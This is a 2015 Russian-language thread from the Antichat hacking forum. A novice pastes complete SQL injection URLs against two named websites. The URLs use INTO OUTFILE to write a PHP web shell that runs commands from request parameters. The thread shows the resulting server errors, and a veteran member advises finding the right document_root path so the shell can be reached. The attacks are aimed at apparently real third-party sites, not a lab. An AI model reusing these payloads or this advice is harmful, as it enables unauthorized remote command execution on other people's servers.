ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
06.07.2015, 21:19
|
|
Новичок
Регистрация: 09.06.2015
Сообщений: 24
Провел на форуме:
6419
Репутация:
2
|
|
Не могу загрузить свой файл на сайт:
Код:
http://www.nibbledpencil.com/ficha.php?id=-277%20and%201=1%20UNION%20SELECT%201,%22%3C?php%20system%28$_REQUEST[cmd]%29;exit;?%3E%22,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20INTO%20outfile%20%27/var/www/qwe.php%27--+
Ошибка: Can't create/write to file '/var/www/qwe.php' (Errcode: 2)
Ладно, допустим нельзя, пробуем 2-й сайт: http://www.cobranet.org(тренировочный)
Код:
http://www.cobranet.org/about.php?id=-1%20union%20select%201,2,3,%22%3C?php%20system%28$_GET[cmd]%29;exit;?%29%29%22,5,6%20into%20outfile%20%27/var/www/mnbbbb.php%27%20--
Видим:
SQL Error:
1045: Access denied for user 'website'@'localhost' (using password: YES)
[select * from about where section=-1 union select 1,2,3,"
Но самое главное что мы видим(я так думаю): Access denied
Но вот захожу на созданный файл: http://www.cobranet.org/mnbbbb.php
и ничего нет, как правильно заливать файлы на сайт? |
|
|
06.07.2015, 21:27
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435
Репутация:
1013
|
|
Сообщение от semen6192
↑
Не могу загрузить свой файл на сайт:
Код:
http://www.nibbledpencil.com/ficha.php?id=-277%20and%201=1%20UNION%20SELECT%201,%22%3C?php%20system%28$_REQUEST[cmd]%29;exit;?%3E%22,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20INTO%20outfile%20%27/var/www/qwe.php%27--+
Ошибка: Can't create/write to file '/var/www/qwe.php' (Errcode: 2)
Ладно, допустим нельзя, пробуем 2-й сайт:
http://www.cobranet.org(тренировочный)
Код:
http://www.cobranet.org/about.php?id=-1%20union%20select%201,2,3,%22%3C?php%20system%28$_GET[cmd]%29;exit;?%29%29%22,5,6%20into%20outfile%20%27/var/www/mnbbbb.php%27%20--
Видим:
SQL Error:
1045: Access denied for user 'website'@'localhost' (using password: YES)
[select * from about where section=-1 union select 1,2,3,"
Но самое главное что мы видим(я так думаю): Access denied
Но вот захожу на созданный файл:
http://www.cobranet.org/mnbbbb.php
и ничего нет, как правильно заливать файлы на сайт?
babin@laptop:~$ perror 2
OS error code 2: No such file or directory
а вот в папку tmp все нормально заливается. вам нужно просто найти верный путь до document_root.
во втором случае у вас нет прав, чего удивлятся. читайте статьи и документацию
|
|
|
|
06.07.2015, 22:20
|
|
Новичок
Регистрация: 09.06.2015
Сообщений: 24
Провел на форуме:
6419
Репутация:
2
|
|
Сообщение от yarbabin
↑
babin@laptop:~$ perror 2
OS error code 2: No such file or directory
а вот в папку tmp все нормально заливается. вам нужно просто найти верный путь до document_root.
во втором случае у вас нет прав, чего удивлятся. читайте статьи и документацию
мм... а где ето отображается?) Захожу:
Код:
http://www.nibbledpencil.com/qwe.php
ошибка 404
|
|
|
|
06.07.2015, 22:27
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435
Репутация:
1013
|
|
Сообщение от semen6192
↑
мм... а где ето отображается?) Захожу:
Код:
http://www.nibbledpencil.com/qwe.php
ошибка 404
папка tmp находится внутри, из под веба по до нее не дотянуться. прочитайте пару статьей про веб-сервера
|
|
|
|
06.07.2015, 22:31
|
|
Новичок
Регистрация: 09.06.2015
Сообщений: 24
Провел на форуме:
6419
Репутация:
2
|
|
спс
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
